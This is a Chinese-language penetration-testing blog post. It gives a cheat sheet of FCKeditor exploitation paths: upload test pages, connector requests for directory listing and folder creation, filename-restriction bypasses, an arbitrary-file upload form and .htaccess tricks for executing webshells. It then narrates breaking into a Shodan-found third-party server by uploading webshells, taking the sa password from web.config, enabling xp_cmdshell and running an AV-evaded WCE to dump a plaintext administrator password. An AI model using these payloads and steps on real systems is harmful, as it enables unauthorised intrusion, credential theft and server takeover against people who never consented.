1.1Fckeditor漏洞总结及其渗透某服务器

   有些漏洞看起来简单,级别比较低,不如SQL注入等漏洞来的直接,但在条件合适的情况下,小漏洞发挥大作用,一直以来都想做一个Fckeditor漏洞总结,免得每次遇到目标都需要重新搜索,浪费时间。


1.1.1FCKeditor编辑器漏洞利用总结

1.判断fckeditor版本

通过/fckeditor/editor/dialog/fck_about.html和/FCKeditor/_whatsnew.html页面文件中的版本号来确定。例如访问​​http://***.1**.***.***:8081/fckeditor/_whatsnew.html​​,获知其版本号为2.4.3。


Fckeditor漏洞总结及其渗透某服务器_编辑器

图1获取Fckeditor版本


2.常见的测试上传地址

  Fckeditor编辑器默认会存在test.html和uploadtest.html文件,直接访问这些文件可以获取当前文件夹文件名称以及上传文件,有的版本可以直接上传任意文件类型,测试上传地址有:

(1)FCKeditor/editor/filemanager/browser/default/connectors/test.html

(2)FCKeditor/editor/filemanager/upload/test.html

(3)FCKeditor/editor/filemanager/connectors/test.html

(4)FCKeditor/editor/filemanager/connectors/uploadtest.html


3.示例上传地址

FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

FCKeditor/_samples/default.html

FCKeditor/editor/fckeditor.htm

FCKeditor/editor/fckdialog.html


4.常见的上传地址

(1)connector.aspx文件

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp

(2)browser.html文件

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php


5. Windows 2003+IIS6文件解析路径漏洞

   通过Fckeditor编辑器在文件上传页面中,创建诸如1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。其shell地址为:

http://www.somesite.com/images/upload/201806/image/1.asp/1.jpg


6.iis6突破文件夹限制

Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp


7.突破文件名限制

(1)二次重复上传文件突破“.”变成“-”限制

新版FCK上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg

(2)提交shell.php+空格绕过

空格只支持windows系统,linux系统是不支持的,可提交shell.php+空格来绕过文件名限制。


8.列目录

(1)FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。

(2)根据xml返回信息查看网站目录

http://***.1**.***.***:8081/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp

(3)获取当前文件夹

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

(4)浏览E盘文件

/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/

(5)JSP 版本

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/


9.修改Media 类型进行上传

FCKeditor 2.4.2  For php以下版本在处理PHP上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址为实际地址:

<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>


10.htaccess文件突破

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

(1).htaccess文件内容

AppType  application/x-httpd-php  .jpg

另外一种方法也可以,其内容为:

<FilesMatch "cimer">
SetHandler application/x-httpd-php
</FilesMatch>

上传带cimer后缀的webshell文件,访问地址即可得到webshell

(2)上传.htaccess文件

(3)上传图片木马

(4)借助该漏洞,可以实现webshell的访问

1.1.2搜索FCKeditor目标

1.在shodan.io网站搜索FCKeditor关键字

   在shodan.io网站搜索FCKeditor关键字,如图2所示,可以看到一共存在24条记录,也可以直接访问地址

https://www.shodan.io/search?query=”FCKeditor”对关键字进行查询,不同的关键字其出来的效果不一样。



2.逐个查看目标记录信息

   对shodan.io网站搜索的24条记录进行逐个查看,也即单击shodan搜索记录中的Details链接,即可查看目标的详细信息,如图3所示,建议新建窗口打开该链接地址,在该IP地址信息中包含国家、城市、组织、ISP和端口等信息。


Fckeditor漏洞总结及其渗透某服务器_编辑器_02

图3查看使用Fckeditor编辑器的目标信息

1.1.3漏洞利用及分析

1.根据端口访问服务器

   单击shodan中搜索出来的服务信息中的绿色转向箭头即可直接访问目标服务器,例如本例中是8081端口,如图4所示,在该页面中直接目录信息泄露,可以下载dlty.rar代码文件。


Fckeditor漏洞总结及其渗透某服务器_Fckeditor_03

图4访问目标网站



2.对网站目录进行逐个查看获取Fckedit漏洞利用页面

   通过对该网站fckeditor 编辑器所在文件夹进行逐层访问,获取其上传测试页面地址:

http://***.1**.***.***:8081/fckeditor/editor/filemanager/upload/test.html

如图5所示,选择网站支持编程语言为ASP.Net,然后选择一个aspx的webshell,进行上传,直接上传文件到/UserFiles/目录,文件名称也未做更改。


Fckeditor漏洞总结及其渗透某服务器_编辑器_04

图5直接上传webshell


3.查看和验证上传文件

    如图6所示,到该网站/UserFiles/目录,可以看到上传的2014.aspx及cmd.php文件。


Fckeditor漏洞总结及其渗透某服务器_Fckeditor_05

图6检查和验证上传的文件


4.获取webshell及数据库密码

单击/UserFiles/目录中的2014.aspx文件,直接获取webshell,如图7所示,通过查看web.config文件还获取其数据库sa账号密码为dlty。


Fckeditor漏洞总结及其渗透某服务器_编辑器_06

图7获取webshell及数据库密码


5.服务器提权并获取服务器密码

(1)获取服务器架构

   如图8所示,在webshell中执行cmd.exe /c set命令查看当前处理架构信息,结果显示为AMD64位。


Fckeditor漏洞总结及其渗透某服务器_编辑器_07

图8获取处理架构信息


(2)连接数据库恢复xp_cmdshell

    在webshell中单击DataBase进行数据库管理,选择mssql,然后输入sa账号对应的密码,进行连接,连接成功后,在SQLExec中选择Add xp_cmdshell,如图9所示,显示该数据库服务器中已经添加xp_cmdshell存储进程,表明前面有人入侵过。


Fckeditor漏洞总结及其渗透某服务器_漏洞_08

图9数据库恢复xp_cmdshell


(3)获取当前数据库管理员密码明文

将wce64.exe进行免杀处理,然后上传到服务器上,通过xp_cmdshell执行命令:

Exec master.dbo.xp_cmdshell 'E:\dlty\UserFiles\wce64 -w'

如图10所示,成功获取该服务器密码明文:×××@66009009


Fckeditor漏洞总结及其渗透某服务器_Fckeditor_09

图10获取服务明文密码

1.1.4渗透总结及分析

1. sqlserver 2000直接提权。在本例中还可以通过sqlmap进行mssql数据库直连进行提权以及执行命令等操作,由于本案例中的数据库是sqlserver 2000,sa账号可以直接提权到服务器权限。

2.Fckeditor中的test.html文件可以直接上传任意文件类型

3.可以通过Fckeditor还可以浏览目录。这个在渗透中特别有用,可以用来查看网站的目录结构,运气好,可以查看xml配置文件,以及下载源代码文件等。

4.在本案例中的目录信息危害太大。可以对所有文件及目录进行查看,即使未获取编辑器漏洞,也可以通过源代码文件获取数据库密码。


更多实战技术干货,请关注最新攻防实战专栏内容《渗透攻击入门到实践,让SQLmap子*弹飞一会儿》

Fckeditor漏洞总结及其渗透某服务器_Fckeditor_10